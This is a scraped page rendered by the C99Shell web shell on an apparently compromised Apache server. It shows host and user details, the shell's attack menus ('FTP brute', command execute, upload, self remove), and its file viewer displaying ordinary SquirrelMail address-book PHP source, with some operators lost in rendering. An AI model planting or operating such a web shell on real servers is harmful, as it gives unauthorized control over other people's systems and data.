!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/local/webmail2/src/   drwxr-xr-x
Free 318.37 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addrbook_search_html.php (11.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * addrbook_search_html.php
 *
 * Handle addressbook searching with pure html.
 *
 * This file is included from compose.php
 *
 * @copyright &copy; 1999-2006 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: addrbook_search_html.php,v 1.83 2006/02/05 12:23:04 jervfors Exp $
 * @package squirrelmail
 * @subpackage addressbook
 */

/**
 * Path for SquirrelMail required files.
 * @ignore
 */
if (! defined('SM_PATH') ) {
    
define('SM_PATH','../');
}

/** SquirrelMail required files. */
include_once(SM_PATH 'include/validate.php');
include_once(
SM_PATH 'functions/global.php');
include_once(
SM_PATH 'functions/date.php');
include_once(
SM_PATH 'functions/display_messages.php');
include_once(
SM_PATH 'functions/addressbook.php');
include_once(
SM_PATH 'functions/plugin.php');
include_once(
SM_PATH 'functions/strings.php');
include_once(
SM_PATH 'functions/html.php');

sqgetGlobalVar('session',   $session,   SQ_POST);
sqgetGlobalVar('mailbox',   $mailbox,   SQ_POST);
if (! 
sqgetGlobalVar('addrquery'$addrquerySQ_POST))
     
$addrquery='';
sqgetGlobalVar('listall',   $listall,   SQ_POST);
sqgetGlobalVar('backend',   $backend,   SQ_POST);

/**
 * Insert hidden data
 */
function addr_insert_hidden() {
    global 
$body$subject$send_to$send_to_cc$send_to_bcc$mailbox,
           
$identity$session;

   if (
substr($body01) == "\r") {
       echo 
addHidden('body'"\n".$body);
   } else {
       echo 
addHidden('body'$body);
   }

   echo 
addHidden('session'$session).
        
addHidden('subject'$subject).
        
addHidden('send_to'$send_to).
        
addHidden('send_to_bcc'$send_to_bcc).
        
addHidden('send_to_cc'$send_to_cc).
        
addHidden('identity'$identity).
        
addHidden('mailbox'$mailbox).
        
addHidden('from_htmladdr_search''true');
}


/**
 * List search results
 * @param array $res Array containing results of search
 * @param bool $includesource If true, adds backend column to address listing
 */
function addr_display_result($res$includesource true) {
    global 
$color$javascript_on$PHP_SELF$squirrelmail_language;

    if (
sizeof($res) <= 0) return;

    echo 
addForm($PHP_SELF'post''addrbook').
         
addHidden('html_addr_search_done''true');
    
addr_insert_hidden();
    
$line 0;

    if (
$javascript_on) {
        print
            
'<script type="text/javascript">' .
            
"\n<!-- \n" .
            
"function CheckAll(ch) {\n" .
            
"   for (var i = 0; i < document.addrbook.elements.length; i++) {\n" .
            
"       if( document.addrbook.elements[i].type == 'checkbox' &&\n" .
            
"           document.addrbook.elements[i].name.substr(0,16) == 'send_to_search['+ch ) {\n" .
            
"           document.addrbook.elements[i].checked = !(document.addrbook.elements[i].checked);\n".
            
"       }\n" .
            
"   }\n" .
            
"}\n" .
            
"//-->\n" .
            
"</script>\n";
        
$chk_all '<a href="#" onclick="CheckAll(\'T\');">'._("All").'</a>&nbsp;<font color="'.$color[9].'">'._("To").'</font>'.
            
'&nbsp;&nbsp;'.
            
'<a href="#" onclick="CheckAll(\'C\');">' _("All") . '</a>&nbsp;<font color="'.$color[9].'">'._("Cc").'</font>'.
            
'&nbsp;&nbsp;'.
            
'<a href="#" onclick="CheckAll(\'B\');">' _("All") . '</a>';
    } else {
        
// check_all links are used only in JavaScript. disable links in js=off environment.
        
$chk_all '';
    }
    echo 
html_tag'table''''center''''border="0" width="98%"' ) .
    
html_tag'tr'''''$color[9] ) .
    
html_tag'th''&nbsp;' $chk_all'left' ) .
    
html_tag'th''&nbsp;' _("Name"), 'left' ) .
    
html_tag'th''&nbsp;' _("E-mail"), 'left' ) .
    
html_tag'th''&nbsp;' _("Info"), 'left' );

    if (
$includesource) {
        echo 
html_tag'th''&nbsp;' _("Source"), 'left''''width="10%"' );
    }

    echo 
"</tr>\n";

    foreach (
$res as $row) {
        
$email AddressBook::full_address($row);
        if (
$line 2) {
            
$tr_bgcolor $color[12];
        } else {
            
$tr_bgcolor $color[4];
        }
        if (
$squirrelmail_language == 'ja_JP')
            {
        echo 
html_tag'tr'''''$tr_bgcolor'style="white-space: nowrap;"' ) .
        
html_tag'td',
             
'<input type="checkbox" name="send_to_search[T' $line ']" value = "' .
             
htmlspecialchars($email) . '" />&nbsp;' _("To") . '&nbsp;' .
             
'<input type="checkbox" name="send_to_search[C' $line ']" value = "' .
             
htmlspecialchars($email) . '" />&nbsp;' _("Cc") . '&nbsp;' .
             
'<input type="checkbox" name="send_to_search[B' $line ']" value = "' .
             
htmlspecialchars($email) . '" />&nbsp;' _("Bcc") . '&nbsp;' ,
        
'center''''width="5%" style="white-space: nowrap;"' ) .
        
html_tag'td''&nbsp;' htmlspecialchars($row['lastname']) . ' ' htmlspecialchars($row['firstname']) . '&nbsp;''left''''style="white-space: nowrap;"' ) .
        
html_tag'td''&nbsp;' htmlspecialchars($row['email']) . '&nbsp;''left''''style="white-space: nowrap;"' ) .
        
html_tag'td''&nbsp;' htmlspecialchars($row['label']) . '&nbsp;''left''''style="white-space: nowrap;"' );
            } else {
        echo 
html_tag'tr'''''$tr_bgcolor'style="white-space: nowrap;"' ) .
        
html_tag'td',
            
addCheckBox('send_to_search[T'.$line.']'FALSE$email).
            
'&nbsp;' _("To") . '&nbsp;' .
            
addCheckBox('send_to_search[C'.$line.']'FALSE$email).
            
'&nbsp;' _("Cc") . '&nbsp;' .
            
addCheckBox('send_to_search[B'.$line.']'FALSE$email).
            
'&nbsp;' _("Bcc") . '&nbsp;' ,
        
'center''''width="5%" style="white-space: nowrap;"' ) .
        
html_tag'td''&nbsp;' htmlspecialchars($row['name']) . '&nbsp;''left''''style="white-space: nowrap;"' ) .
        
html_tag'td''&nbsp;' htmlspecialchars($row['email']) . '&nbsp;''left''''style="white-space: nowrap;"' ) .
        
html_tag'td''&nbsp;' htmlspecialchars($row['label']) . '&nbsp;''left''''style="white-space: nowrap;"' );
            }

         if (
$includesource) {
             echo 
html_tag'td''&nbsp;' $row['source'] . '&nbsp;''left''''style="white-space: nowrap;"' );
         }
         echo 
"</tr>\n";
         
$line ++;
    }
    if (
$includesource) { $td_colspan '5'; } else { $td_colspan '4'; }
    echo 
html_tag'tr',
                
html_tag'td',
                        
'<input type="submit" name="addr_search_done" value="' .
                        
_("Use Addresses") . '" /> ' .
                        
'<input type="submit" name="addr_search_cancel" value="' .
                        
_("Cancel") . '" />',
                
'center''''colspan="'$td_colspan .'"' )
            ) .
         
'</table>' .
         
addHidden('html_addr_search_done''1').
         
'</form>';
}

/* --- End functions --- */

if ($compose_new_win == '1') {
    
compose_Header($color$mailbox);
}
else {
    
displayPageHeader($color$mailbox);
}

/** set correct value of $default_charset */
global $default_charset;
set_my_charset();

/* Initialize addressbook */
$abook addressbook_init();


echo 
'<br />' .
html_tag'table',
    
html_tag'tr',
        
html_tag'td''<b>' _("Address Book Search") . '</b>''center'$color[0] )
    ) ,
'center''''width="95%" cellpadding="2" cellspacing="2" border="0"' );


/* Search form */
echo '<div style="text-align: center;">' .
    
html_tag'table''''center''''border="0"' ) .
    
html_tag'tr' ) .
    
html_tag'td''''left''''style="white-space: nowrap;" valign="middle"' ) . "\n" .
    
addForm($PHP_SELF.'?html_addr_search=true''post''f').
    
"\n<div style=\"text-align: center;\">\n" .
    
'  <nobr><strong>' _("Search for") . "</strong>\n";
addr_insert_hidden();
echo 
addInput('addrquery'$addrquery26);

/* List all backends to allow the user to choose where to search */
if (!isset($backend)) { $backend ''; }
if (
$abook->numbackends 1) {
    echo 
'<strong>' _("in") . '</strong>&nbsp;';

    
$selopts['-1'] = _("All address books");
    
$ret $abook->get_backend_list();

    while (list(
$undef,$v) = each($ret)) {
        
$selopts[$v->bnum] = $v->sname;
    }
    echo 
addSelect('backend'$selopts$backendTRUE);
} else {
    echo 
addHidden('backend''-1');
}
if (isset(
$session)) {
    echo 
addHidden('session'$session);
}

echo 
'<input type="submit" value="' _("Search") . '" />' .
     
'&nbsp;|&nbsp;<input type="submit" value="' _("List all") .
     
'" name="listall" />' "\n" .
     
'</form></div></td></tr></table>' "\n";
echo 
'</div>';
do_hook('addrbook_html_search_below');
/* End search form */

/* List addresses. Show personal addressbook */
if ($addrquery == '' || ! empty($listall)) {
    
// TODO: recheck all conditions and simplity if statements
    
if (! isset($backend) || $backend != -|| $addrquery == '') {
        if (
$addrquery == '' && empty($listall)) {
            
$backend $abook->localbackend;
        }

        
/* echo '<h3 align="center">' . $abook->backends[$backend]->sname) . "</h3>\n"; */

        
$res $abook->list_addr($backend);

        if (
is_array($res)) {
            
usort($res,'alistcmp');
            
addr_display_result($resfalse);
        } else {
            echo 
html_tag'p''<strong><br />' .
                 
sprintf(_("Unable to list addresses from %s"),
                 
$abook->backends[$backend]->sname) . "</strong>\n" ,
            
'center' );
        }

    } else {
        
$res $abook->list_addr();
        
usort($res,'alistcmp');
        
addr_display_result($restrue);
    }
    
$oTemplate->display('footer.tpl');
    exit;
} elseif (!empty(
$addrquery)) {
    
/* Do the search */
    
if ($backend == -1) {
        
$res $abook->s_search($addrquery);
    } else {
        
$res $abook->s_search($addrquery$backend);
    }

    if (!
is_array($res)) {
        echo 
html_tag'p''<b><br />' .
                       
_("Your search failed with the following error(s)") .
                       
':<br />' $abook->error "</b>\n" ,
                       
'center' ) . "\n";
        
$oTemplate->display('footer.tpl');
    } else {
        if (
sizeof($res) == 0) {
            echo 
html_tag'p''<br /><b>' .
                           
_("No persons matching your search were found") . "</b>\n" ,
                           
'center' ) . "\n";
            
$oTemplate->display('footer.tpl');
        } else {
            
addr_display_result($res);
        }
    }
} else {
    
// not first time display, not listall and search is empty
    // TODO: I think, this part of control structure is never reached.
    
echo html_tag'p''<br /><b>' .
                   
_("Nothing to search") . "</b>\n" ,
                   
'center' );
}

if (
$addrquery == '' || sizeof($res) == 0) {
    echo 
'<div style="text-align: center;">'.
        
addForm('compose.php','post','k');
    
addr_insert_hidden();
    echo 
'<input type="submit" value="' _("Return") . '" name="return" />' "\n" .
         
'</form></div></nobr>';
}

$oTemplate->display('footer.tpl');
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0106 ]--